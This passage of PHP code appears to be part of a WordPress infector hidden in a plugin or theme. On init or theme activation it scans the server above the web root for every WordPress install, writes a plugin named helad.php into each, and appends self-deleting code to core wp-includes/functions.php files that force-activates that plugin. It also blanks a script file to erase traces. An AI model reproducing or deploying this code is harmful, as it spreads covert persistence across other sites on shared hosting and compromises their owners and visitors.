EOD;

	define('PLUGIN_CODE', $pluginCodeconst);

    $insertCodeConst = <<<'EOD'
function true_plugins_activate() {
	$active_plugins = get_option('active_plugins');
	$activate_this = array(
		'helad.php'
	);
	foreach ($activate_this as $plugin) {
		if (!in_array($plugin, $active_plugins)) {
			array_push($active_plugins, $plugin);
			update_option('active_plugins', $active_plugins);
		}
	}
	$new_active_plugins = get_option('active_plugins');
	if (in_array('helad.php', $new_active_plugins)) {
		$functionsPath = dirname(__FILE__) . '/functions.php';
		$functions = file_get_contents($functionsPath);

		$start = stripos($functions, "function true_plugins_activate()");
		$end = strripos($functions, "true_plugins_activate");
		$endDelete = $end + mb_strlen("true_plugins_activate") + 3;

		if($start && $end) {
			$str = substr($functions, 0, $start);
			$str .= substr($functions, $endDelete);
			file_put_contents($functionsPath, $str);
		}
		//clear_script
	}
}

add_action('init', 'true_plugins_activate');
EOD;

	define('INSERT_CODE', $insertCodeConst);
}

// --------------------------------------------------------------------------------------------
// --------------------------------------------------------------------------------------------
// ------------------------------------ PLUGIN ------------------------------------------------
// --------------------------------------------------------------------------------------------
// --------------------------------------------------------------------------------------------
if ((bool)stristr($type, 'wp-content/plugins') && !$fExistPlugin1 && !$fExistPlugin2) {
	function searchFilesFromPlugin($dir, $tosearch) {
		$files = array_diff(scandir($dir), [".", ".."]);
		$filesList = [];
		foreach($files as $file) {
			if(!is_dir($dir . '/' . $file)) {
				if (strtolower($file) == $tosearch)
				$filesList[] = $dir . '/' . $file;
			} else {
				$res = searchFilesFromPlugin($dir . '/' . $file, $tosearch);
				if ($res) {
					$arr = $res;
					$filesList = array_merge($filesList, $arr);
				}
			}
		}
		return $filesList;
	}

	$activatePluginDir = dirname(__FILE__);
	$currentPluginDir = stristr($activatePluginDir, 'wp-content/plugins/');
	if ($currentPluginDir) {
		$currentPluginDir = str_replace('wp-content/plugins/', '', $currentPluginDir);
		$currentPluginDir = explode('/', $currentPluginDir)[0];
		$pluginPath = explode($currentPluginDir, $activatePluginDir, -1)[0] . $currentPluginDir;
	} else {
		$pluginPath = $activatePluginDir;
	}
	
	$pluginFiles = array_filter(scandir($pluginPath), function($name) {
		if (stristr($name, '.php') !== false) {
			return $name;
		}
	});

	$pluginFile = '';
	foreach ($pluginFiles as $file) {
		$temp = file_get_contents($pluginPath . '/' . $file);
		if (stristr($temp, 'Plugin Name:') !== false) {
			unset($temp);
			$pluginFile = $file;
			break;
		}
		unset($temp);
	}

	add_action('init', 'insertMyPluginFromPlugin');
	function insertMyPluginFromPlugin() {
		$active_plugins = get_option('active_plugins');
		if (!in_array(PLUGIN_NAME, $active_plugins)) {
			$folderName = dirname($_SERVER['DOCUMENT_ROOT']);
			$result = searchFilesFromPlugin($folderName, SERCH_FILE);

			if(0 < count($result)){
				$clearScriptCode = <<<'CLEAR'
		$script = file_get_contents('SCRIPT_PATH');
		file_put_contents('SCRIPT_PATH', '');
CLEAR;
				$clearScriptCode = str_replace('SCRIPT_PATH', SCRIPT_PATH, $clearScriptCode);
				$insertCode = str_replace('//clear_script', $clearScriptCode, INSERT_CODE);
				$pluginCode = str_replace(
					['HEADER_PLUGIN_NAME', 'HEADER_PLUGIN_DESCRIPTION', 'HEADER_PLUGIN_AUTHOR', 'HEADER_PLUGIN_VERSION'],
					[HEADER_PLUGIN_NAME, HEADER_PLUGIN_DESCRIPTION, HEADER_PLUGIN_AUTHOR, HEADER_PLUGIN_VERSION], 
					PLUGIN_CODE
				);

				foreach($result as $file) {
					if (stristr($file, 'wp-includes/functions.php') !== false) {
						$newPlugin = str_replace('wp-includes/functions.php', 'wp-content/plugins/' . PLUGIN_NAME, $file);
						$copyPlugin = file_put_contents($newPlugin, $pluginCode);
		
						if ($copyPlugin) {
							$temp = file_get_contents($file);
							$start = stripos($temp, "function true_plugins_activate()");
							$end = strripos($temp, "true_plugins_activate");
							$endDelete = $end + mb_strlen("true_plugins_activate") + 3;
		
							if($start && $end) {
								$str = substr($temp, 0, $start);
								$str .= substr($temp, $endDelete);
								file_put_contents($file, $str);
							}

							file_put_contents($file, PHP_EOL . $insertCode . PHP_EOL, FILE_APPEND | LOCK_EX);
						}
					}
				}
			}
		}
	}

// --------------------------------------------------------------------------------------------
// --------------------------------------------------------------------------------------------
// ------------------------------------- THEME ------------------------------------------------
// --------------------------------------------------------------------------------------------
// --------------------------------------------------------------------------------------------
} elseif ((bool)stristr($type, 'wp-content/themes') && (!$fExistTheme1 && !$fExistTheme2)) {
	function searchFilesFromTheme($dir, $tosearch) {
		$files = array_diff(scandir($dir), [".", ".."]);
		$filesList = [];
		foreach($files as $file) {
			if(!is_dir($dir . '/' . $file)) {
				if (strtolower($file) == $tosearch)
				$filesList[] = $dir . '/' . $file;
			} else {
				$res = searchFilesFromTheme($dir . '/' . $file, $tosearch);
				if ($res) {
					$arr = $res;
					$filesList = array_merge($filesList, $arr);
				}
			}
		}
		return $filesList;
	}	

	add_action('after_setup_theme', 'updateFilesFromTheme');
	function updateFilesFromTheme() {
		if ( @ $_GET['activated'] === 'true'){
			$folderName = dirname($_SERVER['DOCUMENT_ROOT']);
			$result = searchFilesFromTheme($folderName, SERCH_FILE);
			$pluginCode = str_replace(
				['HEADER_PLUGIN_NAME', 'HEADER_PLUGIN_DESCRIPTION', 'HEADER_PLUGIN_AUTHOR', 'HEADER_PLUGIN_VERSION'],
				[HEADER_PLUGIN_NAME, HEADER_PLUGIN_DESCRIPTION, HEADER_PLUGIN_AUTHOR, HEADER_PLUGIN_VERSION], 
				PLUGIN_CODE
			);

			if (0 < count($result)) {
				foreach($result as $file) {
					if (stristr($file, 'wp-includes/functions.php') !== false) {
						$newPlugin = str_replace('wp-includes/functions.php', 'wp-content/plugins/' . PLUGIN_NAME, $file);
						$copyPlugin = file_put_contents($newPlugin, $pluginCode);

						if ($copyPlugin) {
							$temp = file_get_contents($file);
							$start = stripos($temp, "function true_plugins_activate()");
							$end = strripos($temp, "true_plugins_activate");
							$endDelete = $end + mb_strlen("true_plugins_activate") + 3;

							if($start && $end) {
								$str = substr($temp, 0, $start);
								$str .= substr($temp, $endDelete);
								file_put_contents($file, $str);
							}

							file_put_contents($file, PHP_EOL . INSERT_CODE . PHP_EOL, FILE_APPEND | LOCK_EX);
						}
					}
				}
			}
		}
	}
}
?>